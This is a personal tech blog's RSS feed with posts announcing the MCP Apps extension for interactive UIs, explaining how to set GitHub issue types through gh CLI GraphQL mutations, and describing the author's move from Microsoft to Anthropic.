<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Den Delimarsky</title><link>https://den.dev/</link><description>Tinkerer, Nerd, Pixel Geek.</description><generator>Hugo</generator><language>en</language><copyright>Copyright &copy; 2026 Den Delimarsky. All rights reserved. Built with ☕ and 🍩 for a global audience.</copyright><lastBuildDate>Mon, 26 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://den.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>MCP Apps And Interactive UIs In MCP Clients</title><link>https://den.dev/blog/mcp-apps/</link><pubDate>Mon, 26 Jan 2026 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/mcp-apps/</guid><description>Arguably, the first of many exciting chapters in MCP development this year - the ability to render user interfaces within the chat experience. Finally, we&rsquo;re going beyond just text.</description><content:encoded><![CDATA[<p>For the past year, <a
  href="https://modelcontextprotocol.io/docs/getting-started/intro"
  
  target="_blank" rel="noreferrer noopener"
>Model Context Protocol</a> (MCP) has done a lot of maturing - starting as a small open source experiment, it now became a full-fledged protocol that is <em>broadly</em> adopted by the industry at large. You can throw a rock and hit something that <em>somehow</em> integrates MCP.</p>
<p>That being said, one of the more peculiar limitations of MCP has always been the fact that you can&rsquo;t really do a lot with it beyond <em>text on the wire</em> (which is still extremely useful, to be very clear) - JSON-RPC is a nice little abstraction to ferry a bunch of text-based requests and responses. Anything interactive was usually done with the help of, what I would say, hacks, like sending the URL that a user would have to go to to see a visualization of their data or results of some action (think - <a
  href="https://github.com/microsoft/playwright-mcp"
  
  target="_blank" rel="noreferrer noopener"
>Playwright MCP</a> post-test reports).</p>
<h2 id="ui-comes-to-mcp" class="relative group">UI Comes To MCP <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#ui-comes-to-mcp" aria-label="Anchor">#</a></span></h2>
<p>Starting today, though, the landscape is changing - MCP took another leap by adding support for its first official extension, <strong>MCP Apps</strong>, a project built on the foundations of the work that the awesome folks at <a
  href="https://mcpui.dev/"
  
  target="_blank" rel="noreferrer noopener"
>MCP-UI</a> and <a
  href="https://openai.com/index/introducing-apps-in-chatgpt/"
  
  target="_blank" rel="noreferrer noopener"
>OpenAI</a> have been carefully nurturing.</p>
<p>You can catch up with <a
  href="https://www.youtube.com/watch?v=d1Aditif0wI"
  
  target="_blank" rel="noreferrer noopener"
>my demo video</a> to see it in action:</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
			<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/d1Aditif0wI?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
		</div>

<p>What&rsquo;s cool about MCP Apps is that you can <em>already</em> tinker with it in <a
  href="https://claude.ai"
  
  target="_blank" rel="noreferrer noopener"
>Claude</a> and <a
  href="https://code.visualstudio.com/insiders/"
  
  target="_blank" rel="noreferrer noopener"
>Visual Studio Code Insiders</a>, with more clients on the way!</p>
<p>Here are a few places for you to check out if you want to get building:</p>
<a
  class="inline-block !rounded-md bg-primary-600 px-4 py-1 !text-neutral !no-underline hover:!bg-primary-500 dark:bg-primary-800 dark:hover:!bg-primary-700" href="https://modelcontextprotocol.github.io/ext-apps/api/" target="_self"
  role="button"
>


  <span class="relative inline-block align-text-bottom icon">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><path fill="currentColor" d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM191.4 .0132C89.44 .3257 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.61 288.9-.2837 191.4 .0132zM192 96.01c-44.13 0-80 35.89-80 79.1C112 184.8 104.8 192 96 192S80 184.8 80 176c0-61.76 50.25-111.1 112-111.1c8.844 0 16 7.159 16 16S200.8 96.01 192 96.01z"/></svg>

  </span>

 API Documentation
</a>


<a
  class="inline-block !rounded-md bg-primary-600 px-4 py-1 !text-neutral !no-underline hover:!bg-primary-500 dark:bg-primary-800 dark:hover:!bg-primary-700" href="https://modelcontextprotocol.io/extensions/apps/overview" target="_self"
  role="button"
>


  <span class="relative inline-block align-text-bottom icon">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><path fill="currentColor" d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM191.4 .0132C89.44 .3257 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.61 288.9-.2837 191.4 .0132zM192 96.01c-44.13 0-80 35.89-80 79.1C112 184.8 104.8 192 96 192S80 184.8 80 176c0-61.76 50.25-111.1 112-111.1c8.844 0 16 7.159 16 16S200.8 96.01 192 96.01z"/></svg>

  </span>

 Quickstart
</a>


<p>And of course, I would be remiss if I didn&rsquo;t call out the <a
  href="https://blog.modelcontextprotocol.io/posts/2026-01-26-mcp-apps"
  
  target="_blank" rel="noreferrer noopener"
>blog post announcing the release</a> as well as the <a
  href="https://github.com/modelcontextprotocol/ext-apps/tree/main/examples"
  
  target="_blank" rel="noreferrer noopener"
>extensive collection of samples</a> that will show you how to get started quickly.</p>
<p>MCP Apps are nothing other than HTML layered on top of the existing protocol abstractions, so the changes for both server <em>and</em> client implementers are fairly surgical. This will also hopefully make it much easier to adopt within the ecosystem.</p>
<p>For those reading who are a bit more security conscious, I got you covered - because apps run inside a sandboxed iframe controlled by the host, developers don&rsquo;t have to worry about them escaping their container, accessing the parent page, or doing anything nefarious with cookies.</p>
<p>But - and that&rsquo;s a big one, the real magic here is the bidirectional flow of data. An MCP App can invoke server tools and receive live updates without developers having to spin up separate infrastructure or deal with transport plumbing themselves. Neat!</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-apps/claude-colorpicker-apps.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A sample MCP App inside Claude AI, running on Ubuntu Linux."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-apps/claude-colorpicker-apps.gif"
    
  />
  </a>
  <figcaption class="text-center">A sample MCP App inside Claude AI, running on Ubuntu Linux.</figcaption>
</figure>
<h2 id="come-contribute" class="relative group">Come Contribute <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#come-contribute" aria-label="Anchor">#</a></span></h2>
<p>The MCP Apps extension is, of course, still under active development. If you are still on the fence if you want to help shape the direction of the protocol, now is the perfect time to get involved.</p>
<p>For bugs or feature requests, the team is tracking everything through <a
  href="https://github.com/modelcontextprotocol/ext-apps/issues"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Issues</a>.</p>
<p>For broader discussions about where the project should go or how it fits into existing workflows, there&rsquo;s a dedicated space in <a
  href="https://github.com/modelcontextprotocol/ext-apps/discussions"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Discussions</a>.</p>
<p>And hey, if you want to take my biased opinion, this is one of those rare moments where the extension setup is still malleable enough that community feedback can genuinely shape its direction. Come help!</p>
]]></content:encoded></item><item><title>Programmatically Setting GitHub Issue Types</title><link>https://den.dev/blog/set-github-issue-type/</link><pubDate>Sat, 17 Jan 2026 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/set-github-issue-type/</guid><description>A quick guide on how to programmatically set the GitHub issue type with the GitHub CLI, even if built-in functionality for this doesn&rsquo;t quite exist.</description><content:encoded><![CDATA[<p>As an open source project maintainer, one of the things that I often need to do, to the surprise of no one, is triage issues. When doing so, I try to rely as much as possible on automation; however, it&rsquo;s not always available out-of-the-box for some edge cases.</p>
<p>One such edge case is <em>setting issue types</em> in GitHub. If you are not familiar with it, I am not talking about issue labels, but specifically <a
  href="https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/managing-issue-types-in-an-organization"
  
  target="_blank" rel="noreferrer noopener"
>types</a>.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/set-github-issue-type/issue-types.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Issue types in the GitHub web UI."
    
    
    
      src="https://assets.den.dev/images/postmedia/set-github-issue-type/issue-types.webp"
    
  />
  </a>
  <figcaption class="text-center">Issue types in the GitHub web UI.</figcaption>
</figure>
<p>Typically, I&rsquo;d use the <a
  href="https://cli.github.com/"
  
  target="_blank" rel="noreferrer noopener"
>GitHub CLI</a> for this kind of toil, but as it turns out there is no argument available that allows me to set the type. So, I had to look for creative workarounds.</p>
<h2 id="under-the-issue-type-hood" class="relative group">Under the issue type hood <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#under-the-issue-type-hood" aria-label="Anchor">#</a></span></h2>
<p>Issue types are entirely owner-managed. For example, in the <a
  href="https://github.com/microsoft/PowerToys"
  
  target="_blank" rel="noreferrer noopener"
>PowerToys repo</a> (where I maintain <a
  href="https://awake.den.dev/"
  
  target="_blank" rel="noreferrer noopener"
>Awake</a>), a maintainer can flag something as a <strong>Bug</strong>, <strong>Feature</strong>, or <strong>Task</strong>.</p>
<p>Now, if I&rsquo;d ask anyone how they can set types for a given issue, they&rsquo;d probably guess that they can use <a
  href="https://cli.github.com/manual/gh_issue_edit"
  
  target="_blank" rel="noreferrer noopener"
><code>gh issues edit</code></a>, but alas that&rsquo;s not something I can do. Luckily, the GitHub CLI allows me to also talk directly to the <a
  href="https://docs.github.com/en/graphql"
  
  target="_blank" rel="noreferrer noopener"
>GitHub GraphQL API</a>, which offers way more capabilities than the command line tool.</p>
<p>So, I&rsquo;ll start by querying the <em>available issue types</em> for the aforementioned PowerToys repository:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gh api graphql -f <span class="nv">query</span><span class="o">=</span><span class="s1">&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">  {
</span></span></span><span class="line"><span class="cl"><span class="s1">    repository(owner: &#34;microsoft&#34;, name: &#34;powertoys&#34;) {
</span></span></span><span class="line"><span class="cl"><span class="s1">      issueTypes(first: 20) {
</span></span></span><span class="line"><span class="cl"><span class="s1">        nodes {
</span></span></span><span class="line"><span class="cl"><span class="s1">          id
</span></span></span><span class="line"><span class="cl"><span class="s1">          name
</span></span></span><span class="line"><span class="cl"><span class="s1">          description
</span></span></span><span class="line"><span class="cl"><span class="s1">        }
</span></span></span><span class="line"><span class="cl"><span class="s1">      }
</span></span></span><span class="line"><span class="cl"><span class="s1">    }
</span></span></span><span class="line"><span class="cl"><span class="s1">  }&#39;</span>
</span></span></code></pre></div><p>This will yield a JSON blob like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;repository&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;issueTypes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;nodes&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">          <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="s2">&#34;IT_kwDOAF3p4s4ACCgE&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Task&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;A specific piece of work&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">},</span>
</span></span><span class="line"><span class="cl">          <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="s2">&#34;IT_kwDOAF3p4s4ACCgH&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Bug&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;An unexpected problem or behavior&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">},</span>
</span></span><span class="line"><span class="cl">          <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="s2">&#34;IT_kwDOAF3p4s4ACCgK&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Feature&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;A request, idea, or new functionality&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Not bad. I now have the unique <code>id</code> associated with each issue type. But I don&rsquo;t just need to <em>get</em> the issue types. I need to be able to <em>set</em> them. To do that, I&rsquo;m once again going to lean on the GitHub GraphQL API, with the help of <a
  href="https://graphql.org/learn/mutations/"
  
  target="_blank" rel="noreferrer noopener"
>mutations</a>. The GitHub GraphQL API uses <strong>global node IDs</strong> and not the issue numbers (what you see in the web UI) for mutations, meaning I need to retrieve the issue&rsquo;s node ID first.</p>
<p>Here is the GraphQL query that I need to execute from the GitHub CLI:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gh api graphql -f <span class="nv">query</span><span class="o">=</span><span class="s1">&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">{
</span></span></span><span class="line"><span class="cl"><span class="s1">  repository(owner: &#34;microsoft&#34;, name: &#34;powertoys&#34;) {
</span></span></span><span class="line"><span class="cl"><span class="s1">    issue(number: 44644) {
</span></span></span><span class="line"><span class="cl"><span class="s1">      id
</span></span></span><span class="line"><span class="cl"><span class="s1">      title
</span></span></span><span class="line"><span class="cl"><span class="s1">      issueType {
</span></span></span><span class="line"><span class="cl"><span class="s1">        name
</span></span></span><span class="line"><span class="cl"><span class="s1">      }
</span></span></span><span class="line"><span class="cl"><span class="s1">    }
</span></span></span><span class="line"><span class="cl"><span class="s1">  }
</span></span></span><span class="line"><span class="cl"><span class="s1">}&#39;</span>
</span></span></code></pre></div><p>If all goes well, this is what I&rsquo;ll get:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;repository&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;issue&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="s2">&#34;I_kwDOCv6UO87iZtnQ&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;title&#34;</span><span class="p">:</span> <span class="s2">&#34;Bug report run logs&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;issueType&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Bug&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The <code>id</code> value is all I need. Now, I can use the <a
  href="https://docs.github.com/en/graphql/reference/mutations?versionId=free-pro-team%40latest&amp;productId=graphql#updateissue"
  
  target="_blank" rel="noreferrer noopener"
><code>updateIssue</code></a> mutation to set the type.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gh api graphql -f <span class="nv">query</span><span class="o">=</span><span class="s1">&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">mutation {
</span></span></span><span class="line"><span class="cl"><span class="s1">  updateIssue(input: {
</span></span></span><span class="line"><span class="cl"><span class="s1">    id: &#34;I_kwDOCv6UO87iZtnQ&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">    issueTypeId: &#34;IT_kwDOAF3p4s4ACCgH&#34;
</span></span></span><span class="line"><span class="cl"><span class="s1">  }) {
</span></span></span><span class="line"><span class="cl"><span class="s1">    issue {
</span></span></span><span class="line"><span class="cl"><span class="s1">      number
</span></span></span><span class="line"><span class="cl"><span class="s1">      title
</span></span></span><span class="line"><span class="cl"><span class="s1">      issueType {
</span></span></span><span class="line"><span class="cl"><span class="s1">        name
</span></span></span><span class="line"><span class="cl"><span class="s1">      }
</span></span></span><span class="line"><span class="cl"><span class="s1">    }
</span></span></span><span class="line"><span class="cl"><span class="s1">  }
</span></span></span><span class="line"><span class="cl"><span class="s1">}&#39;</span>
</span></span></code></pre></div><p>Notice the <code>issueTypeId</code> - this is where I use the relevant issue type ID from the very first step to set the type.</p>
<p>A successful type assignment operation will result in this JSON output in your terminal:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;updateIssue&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;issue&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;number&#34;</span><span class="p">:</span> <span class="mi">44644</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;title&#34;</span><span class="p">:</span> <span class="s2">&#34;Bug report run logs&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;issueType&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Bug&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To remove an issue type from an issue, pass <code>null</code> as the <code>issueTypeId</code> in the GraphQL query above.</p>
<h2 id="conclusion" class="relative group">Conclusion <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#conclusion" aria-label="Anchor">#</a></span></h2>
<p>It&rsquo;s a bit more work than I&rsquo;d like for something this basic, but wrapping these queries in a shell script or a <a
  href="https://docs.github.com/en/github-cli/github-cli/creating-github-cli-extensions"
  
  target="_blank" rel="noreferrer noopener"
>custom CLI extension</a> (that&rsquo;s for another blog post) makes it easy to integrate into your triage workflow. Hopefully native <code>gh issue edit</code> support comes soon.</p>
]]></content:encoded></item><item><title>Hello, Anthropic</title><link>https://den.dev/blog/anthropic/</link><pubDate>Sun, 11 Jan 2026 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/anthropic/</guid><description>Kickstarting 2026 with a new role as a Member of Technical Staff at Anthropic, where I will be helping grow the MCP ecosystem.</description><content:encoded><![CDATA[<p>Just a few days ago I wrote about <a
  href="/blog/microsoft-chapter-wrap"
  
  
>wrapping up my latest Microsoft chapter</a>. I&rsquo;ve spent the past three years immersed in security, and as of last year alone, quite a bit of <a
  href="https://modelcontextprotocol.io/docs/getting-started/intro"
  
  target="_blank" rel="noreferrer noopener"
>Model Context Protocol</a> (MCP). That last part is probably eye-roll-inducing to anyone who&rsquo;s been following me on LinkedIn.</p>
<p>This work serendipitously led me to what comes next. My next chapter is joining <a
  href="https://www.anthropic.com/"
  
  target="_blank" rel="noreferrer noopener"
>Anthropic</a> (yes, <em>that</em> Anthropic) as a Member of Technical Staff.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/anthropic/calvin-hobbes.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A new year, a new start - as relayed to us by the famous Calvin and Hobbes."
    
    
    
      src="https://assets.den.dev/images/postmedia/anthropic/calvin-hobbes.webp"
    
  />
  </a>
  <figcaption class="text-center">A new year, a new start - as relayed to us by the famous Calvin and Hobbes.</figcaption>
</figure>
<p>Before we go further, I just wanted to mention how much I <em>love</em> the work behind Calvin and Hobbes. This particular strip from the very last installment of the comic (<a
  href="https://www.dailycartoonist.com/index.php/2025/12/31/30-years-ago-calvin-and-hobbes-ends/"
  
  target="_blank" rel="noreferrer noopener"
>published on December 31st, 1995</a>) feels <em>especially</em> fitting for this moment. There&rsquo;s something different about stepping into a new role at the start of a new year - a blank canvas, much like a coat of fresh snow (which, apparently we&rsquo;re not getting much of in the PNW this year).</p>
<p>The switch to Anthropic was not super-spontaneous. After a year working on MCP as a member of the MCP Steering Committee and then a Core Maintainer focused on auth and security, I really grew to appreciate the effort that Anthropic was putting into organically scaling what has now become an industry standard for connecting data and applications to Large Language Models (LLMs). I also had a few informal conversations with Anthropic folks, learning about their roadmap, culture, and aspirations.</p>
<p>Then, a chance to work closely with the Anthropic MCP crew came up. The opportunity to help build MCP <em>from inside</em> felt like such a <em>surprisingly</em> natural fit that I did a double take and asked my wife, &ldquo;Is this even a <em>real</em> job?&rdquo; As it turns out, it was! It also helps that I&rsquo;m already a huge fan of the Claude family of models (my go-to for all engineering work), so the decision to go work with folks whose product I am already using practically daily was easy.</p>
<p>Ultimately, the decision to join was grounded in a few core beliefs that I hold:</p>
<ul>
<li><strong>Mission over hype.</strong> The AI space is <em>full</em> of noise, work not based on human need (and sometimes straight-up malicious), and assertions not grounded in reality. Anthropic&rsquo;s focus on building AI responsibly, with safety as a first-class concern, and doing so in a way that is producing <em>genuinely useful</em> outcomes is exactly how I think this technology should be built.</li>
<li><strong>Kindness, ethics, and empathy matter.</strong> It struck me just how kind, friendly, and mission-driven the people at Anthropic were. This is <em>huge</em> for me, and seeing it recognized even by folks outside the company was incredibly exciting.</li>
<li><strong>Bet on the frontier.</strong> I want to work on things at scale that push boundaries. Anthropic is <em>that</em> place for AI right now, and I want to help shape what comes next - in a way that benefits humanity.</li>
<li><strong>Make a dent.</strong> I want my work to have a positive impact - not just ship features, but genuinely help folks build better software and solve harder problems.</li>
</ul>







<figure>
  <a href="https://assets.den.dev/images/postmedia/anthropic/act.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="No pressure (at all)!"
    
    
    
      src="https://assets.den.dev/images/postmedia/anthropic/act.webp"
    
  />
  </a>
  <figcaption class="text-center">No pressure (at all)!</figcaption>
</figure>
<p>At Anthropic, my immediate focus will be, you guessed it, on MCP. If you&rsquo;re already <a
  href="https://modelcontextprotocol.io/community/communication"
  
  target="_blank" rel="noreferrer noopener"
>part of the contributor community</a>, I&rsquo;m sorry, but you&rsquo;ll be seeing more of me. If you&rsquo;re part of the broader MCP ecosystem, I am excited to collaborate with you on making the protocol even more mature!</p>
<p>As the world moves to agent-first workflows, I realize that there is so much more to be done to nurture and grow MCP for this paradigm shift. I strongly believe that Anthropic is <em>the</em> place to do it - not just because they created MCP, but because they&rsquo;re deeply committed to building AI with safety in mind. As agents gain more autonomy and connect to more systems, that commitment becomes non-negotiable.</p>
<p>This career change is a calculated bet on the impact of AI on the world, and specifically on something near and dear to me: software engineering and the need to connect systems to make them work well together (<em>which, as you know, is the whole idea behind MCP</em>). As models become ubiquitous &ldquo;appliances&rdquo; in modern software, it will be more important than ever to make sure they interoperate safely, securely, and in a scalable way with <em>other</em> systems, services, APIs, and applications. My mental calculus here was simple: even if I can contribute <em>just a tiny bit</em> to accelerate MCP adoption, help improve its security posture and readiness for more real-world scenarios, there is no better place to do that than at its birthplace.</p>
<p>I am also excited to work more closely with <a
  href="https://experimentalworks.net/about/"
  
  target="_blank" rel="noreferrer noopener"
>David Soria-Parra</a>, <a
  href="https://www.jeromeswannack.com/"
  
  target="_blank" rel="noreferrer noopener"
>Jerome Swannack</a>, <a
  href="https://uk.linkedin.com/in/paulcarletonjr"
  
  target="_blank" rel="noreferrer noopener"
>Paul Carleton</a>, <a
  href="https://www.linkedin.com/in/basilhosmer"
  
  target="_blank" rel="noreferrer noopener"
>Basil Hosmer</a>, <a
  href="https://uk.linkedin.com/in/inna-harper-99791545"
  
  target="_blank" rel="noreferrer noopener"
>Inna Harper</a>, <a
  href="https://www.linkedin.com/in/weynab-maher"
  
  target="_blank" rel="noreferrer noopener"
>Weynab Maher</a>, and quite a few others at Anthropic who are building out the protocol and the broader agentic AI ecosystem.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/keep-thinking.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="I guess the Claude motto of &#34;Keep thinking.&#34; will be even more relevant now."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/keep-thinking.webp"
    
  />
  </a>
  <figcaption class="text-center">I guess the Claude motto of &ldquo;Keep thinking.&rdquo; will be even more relevant now.</figcaption>
</figure>
<p>It&rsquo;s hard to put into words how I feel about this change - I am nervous and excited, cautiously optimistic and yet ready to jump in and start contributing. I am positive that working at Anthropic will be transformative, and I am looking forward to both learning from some of the most talented folks in the industry as well as helping steer us to a future where AI is safe, accessible, and beneficial at scale.</p>
<p>Let&rsquo;s shucking go!</p>
]]></content:encoded></item><item><title>Wrapping Up My Latest Microsoft Chapter</title><link>https://den.dev/blog/microsoft-chapter-wrap/</link><pubDate>Fri, 09 Jan 2026 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/microsoft-chapter-wrap/</guid><description>As 2026 rolls in, it&rsquo;s time for me to turn the page to a new adventure. This also means that it&rsquo;s a wrap on my current career chapter at Microsoft.</description><content:encoded><![CDATA[<p>Three years and a quarter ago, my hiring manager asked me - &ldquo;How do I know you&rsquo;re not going to leave Microsoft again if we hire you?&rdquo; It&rsquo;s not an unfair question to ask, especially considering that I was going for my <em>third</em> stint at the company. My answer to that was pretty simple, at least from my vantage point - I can never guarantee this, but I will give it my all to build the best product imaginable because I live and breathe developer experience.</p>
<p>Three years and a quarter - that&rsquo;s how long it took me to decide that it was time to close this chapter of my Microsoft adventure. Today is my last day at the company, and next week I&rsquo;ll be diving headfirst into a new challenge.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/building-gateway.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The skybridge between Building 16 and Building 18 in Redmond, WA."
    
    
    
      src="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/building-gateway.webp"
    
  />
  </a>
  <figcaption class="text-center">The skybridge between Building 16 and Building 18 in Redmond, WA.</figcaption>
</figure>
